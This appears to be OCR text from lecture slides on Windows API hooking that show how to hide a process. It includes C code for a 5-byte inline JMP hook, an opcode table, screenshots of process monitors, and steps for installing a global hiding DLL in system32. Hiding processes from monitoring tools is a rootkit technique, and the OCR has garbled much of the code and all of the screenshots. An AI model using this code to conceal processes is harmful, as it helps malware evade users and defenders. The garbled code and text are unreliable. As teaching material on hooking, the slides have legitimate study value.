break;

// move to the next node
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur—>NextEntryOffset);

Page = 36
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stealth.cpp = DlIMain()

BOOL hook_by_code(LPCSTR szDl11lName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{

FARPROC pfnOrg;

DWORD dwOldProtect, dwAddress;

BYTE pBuf[5] = {@0xE9, 0, };

PBYTE pByte;

// Find the API that you want to hook
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szD11Name), szFuncName);
pByte = (PBYTE)pfnOrg;

// 1f hooked then return FALSE
if( pByte[@] == B@xE? )
return FALSE;

// Add "write" privilege to memory (tweak 5 bytes)
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Copy old code (5 bytes)
memcpy (pOrgBytes, pfnOrg, 5);

// JIMP Calculation(E9 XXXX)

// => XXXX = pfnNew — pfnOrg - 5

dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg — 5;
memcpy (&pBuf[1], &dwAddress, 4);

// Hook — tweak 5 byte (JIMP XXXX)
memcpy (pfnOrg, pBuf, 5);

// recovery memory property
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

return TRUE;
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JMP instruction

JMP—Jump
Opcode Instruction Description
EB cb JMP rel8 Jump short, relative, displacement relative to next instruction.
E9 cw JMP rel16 Jump near, relative, displacement relative to next instruction.
E9 cd JMP rel32 _Jump near, relative, displacement relative to next instruction.
FF /4 JMP r/m16 Jump near, absolute indirect, address given in /m716.
FF /4 JMP /m32 Jump near, absolute indirect, address given in /m32.
EA cd JMP ptr16:16 Jump far, absolute, address given in operand.
EA cp JMP ptr16:32 Jump far, absolute, address given in operand.
FF /5 JMP m16:16 Jump far, absolute indirect, address given in m16:16.
FF /5 JMP m16:32 Jump far, absolute indirect, address given in m76:32.
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Create Stealth Process

e —

L=

© NoVirusThanks Uploader 2.4.1.0
Refresh List File Resources Help Check for Updates
- - Uploader | Downloader | Regstry Startups | Search Old Fles | Orivers List | Loaded Dils | Settings
Name Brief Info | | |
o= 1€ Process Priority Vinl =
C=chrome rocess Priority: Normal; Vin|z Silact hncal et acars (5 WD e Mk
[CJ==chrome Process Priority: Normal; Viri .
) r
= wininit Process Priority: High; Viruta jC: HeersYebnalDesktop Resdme. bt Browse... Upload
[CJ==nusb3mon Process Priority.: Normal; Vin
[J=SUPERAN Process Priority: Normal; Vin Running Processes:
= <\ chost Process Priorit Vi
= svchost Process Priority: Normal; Vin [iome T -
gE Presentatio Process Priority: Normal; Vin . |3 services.exe 556  C:\Windows\system32\services. exe
‘ ) Eeosor 512 | Cwindosisystems2isass.ex
530 2 W ws\system32\sm.exe Terminate Process
Progress: 672 =iy riogon. exe Delete File
“' svchost.exe 732 w3 \system3Z\svchost.exe Refresh
Fix Selected Problems View Removed Files Update Threat Database | ® JPresentationFontCache.exe 812 Ndows W 0soft Net\Framework v 3.0\ s
- " Jsvchost.exe 848 ndows\system32\gvchost.exe Upload To Virus Scanner
|
: | MsMpEng. exe 920 \Program Fles Maosoft Seaurity Chent\Ant Open Containing Folder
|® 7 atesroexe 1032 \Windows \system32\atiesno. exe
| s
ntdll.ZwQuerySysteminformation() | |‘oe: g R TR
1' svchost.exe 1104 ndows\System32\svchost.exe
|® Jsvchost.exe 1148 C:\Windows'\system32\svchost. exe 2t
: & NoVirusThanks Company S Processes: 71 Files Uploaded: 3 Status: [dle...
\

ntdll.ZwQuerySysteminformation()

» [ssues: How many process(es) should we hook?
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Create Stealth Process

87 Process Explorer - Sysinternals: www.sysinternals.com [WykydtronII\mva 101 %]
File Options View Process Find Handle Users Help
B X ﬁ @ | “ 114 | ,’v'\'sf‘vh’t*v‘f\"AV'\fA‘ J
] CF’U[ Private Bﬁesl Working Sel[ PID | Description | Company Name =
. 55 + 7o #5577 HD Audio Background Process Realtek Semiconductor
; =18IXI|  nviDIA Backend NVIDIA Corporation
File Options View Process Find Handle Users Help Microsoft Security Client User Interface Microsoft Comporation
| i o TEtmin | | | 1 |11 | [ Google Drive Google
3 el = Rl - A M @ 12 1] i d | bt || L . Google Drive Google
Process CPUI Private E}ytesl Working Setl PID ] Description l Company Name | ‘A Google Chrome Google Inc. F
<|:1 RAVBqg64.exe 15,704 K 4728K 4572 HD Audio Background Process Realtek Semiconductor Google Chrome Google Inc. _J
NvBackend.exe <0.01 18.848 K 21592 K 4776 NVIDIA Backend NVIDIA Corporation Google Chrome Google Inc.
® | msseces.exe 5972 K 6,752 K 4916 Microsoft Security Client User Interface Microsoft Corporation Google Chrome Google Inc.
= & googledrivesync.exe 1.820K 1,256 K 4988 Google Drive Google Google Chrome Google Inc.
&, googledrivesync exe 0.35 86316 K 72,864 K 3268 Google Drive Google it ke P aranes Caoda e j
& @ chrome exe 025 609,944 K 612968 K 4396 Google Chrome Google Inc. F _>J
G chrome exe 2352K 2932K 5072 Google Chrome Google Inc. _J ] =
€ chrome.exe 2188K 2020K 4256 Google Chrome Google Inc. aul\Extension State
€ chrome exe 173.040K 150,632 K 404 Google Chrome Google Inc. auh"‘:GPUCache"-mdé; —
¢ chrome exe 52,044 K 35,816 K 5312 Google Chrome Google Inc.
¢ chrome.exe - I\"l ng 349 708 K 247112 K 5324 Gooale Chrome | Gonale Ine _)le ault\Network Action ..
£=° chrome exe
Type = | Name ‘ -
File C:\Users\mvanhelder\App Data\Local\Google \Chrome\User Data\Default\Extension State...
File C:\Users\mvanhelder\AppData‘\Local\Google\Chrome\User Data'\Default\GPUCache‘index —
File C:\Windows\Fonts\tahoma tf ault\Session Storage...
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome\User Data\Default \Network Action ... ault\Session Storage... -
File C:\Windows\Fonts\StaticCache dat = P
File C:\Windows'\System32\en-US\user32 dll. mui | &
File \Device\QWAVEdrv
File \Device\Afd
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome\User Data\Default\Session Storage...
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome'\User Data\Default\Session Storage... =
|CPU Usage: 13.74% |[Commit Charge: 45.84% |Processes: 132 PPhysical Usage: 76.09% | 4

ntdll.ZwQuerySystemlnformation()

= [ssues: Newly created process(es)
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Create Stealth Process

87 Process Explorer - Sysinternals: wwn als.com [WykydtronII\mvan 101 %]
File Options View Process Find Handle Users Help
d| ¢ Rl N I 1 || il |
I CF’UI Private B)1es| Working Sel[ PID | Description | Company Name =
. 55 + 7o #5577 HD Audio Background Process Realtek Semiconductor
=18IXI|  nviDIA Backend NVIDIA Corporation
File Options View Process Find Handle Users Help Microsoft Security Client User Interface Microsoft Corporation
| i o TS Y| e [ |/ | 1 |11 T [ Google Drive Google
I | 2] = E o [ 8 i B ‘ | 11 il | | idhatadond || L - Google Drive Google
Process CPUI Private Bytesl Working Setl PID ' Description ] Company Name | ‘A Google Chrome Google Inc. F
&) RAVBg64.exe 15,704 K 4728 K 4572 HD Audio Background Process Realtek Semiconductor Google Chrome Google Inc.
I&| NvBackend exe <0.01 18,848 K 21592K 4776 NVIDIA Backend NVIDIA Corporation Google Chrome Google Inc. -J
® | msseces.exe 5972 K 6,752 K 4916 Microsoft Security Client User Interface Microsoft Corporation Google Chrome Google Inc.
= & googledrivesync.exe 1.820K 1,256 K 4988 Google Drive Google Google Chrome Google Inc.
&, googledrivesync exe 0.35 86316 K 72,864 K 3268 Google Drive Google Crinede Chenme Caoda e j
& @ chrome exe 0.25 609,944 K 612968 K 4396 Google Chrome Google Inc. F _b_J
G chrome exe 2352K 2932K 5072 Google Chrome Google Inc. _J ] =
€ chrome.exe 2188K 2020K 4256 Google Chrome Google Inc. aul\Extension State
¢ chrome.exe 173.040K 150,632 K 404 Google Chrome Google Inc. auh"'GPIJCache"-mdé.);: —
¢ chrome exe 52,044 K 35,816 K 5312 Google Chrome Google Inc. .
¢ chrome.exe 0 08 343708 K 347112 K 5324 Gonale Chrome: Gonale Inc L] ault\Network Action
£ chrome exe il I l —)j -~ -
Type = | Name I -
File C:\Users\mvanhelder\App Data\Local\Google \Chrome\User Data\Default\Extension State...
File C:\Users\mvanhelder\AppData‘\Local\Google\Chrome\User Data'\Default\GPUCache‘index —
aul\Session Storage...
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome\User Data\Default \Network Action ... ault\Session Storage... -
File C:\Windows'\Fonts\StaticCache .dat =T =
File C:\Windows'\System32\en-US\user32 dll. mui | 4
File \Device\QWAVEdrv
File \Device\Afd
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome\User Data\Default\Session Storage...
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome'\User Data\Default\Session Storage... =
|CPU Usage: 13.74% |[Commit Charge: 45.84% |Processes: 132 PPhysical Usage: 76.09% | 4

= Solution: Hook all of them! = Global Hook
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Example 2. Global Hook

* Download and try StealthProcess2.zip

copy stealth2.dll to %SystemRoot%\system32 folder

HideProc2.exe —hide stealth2.dll
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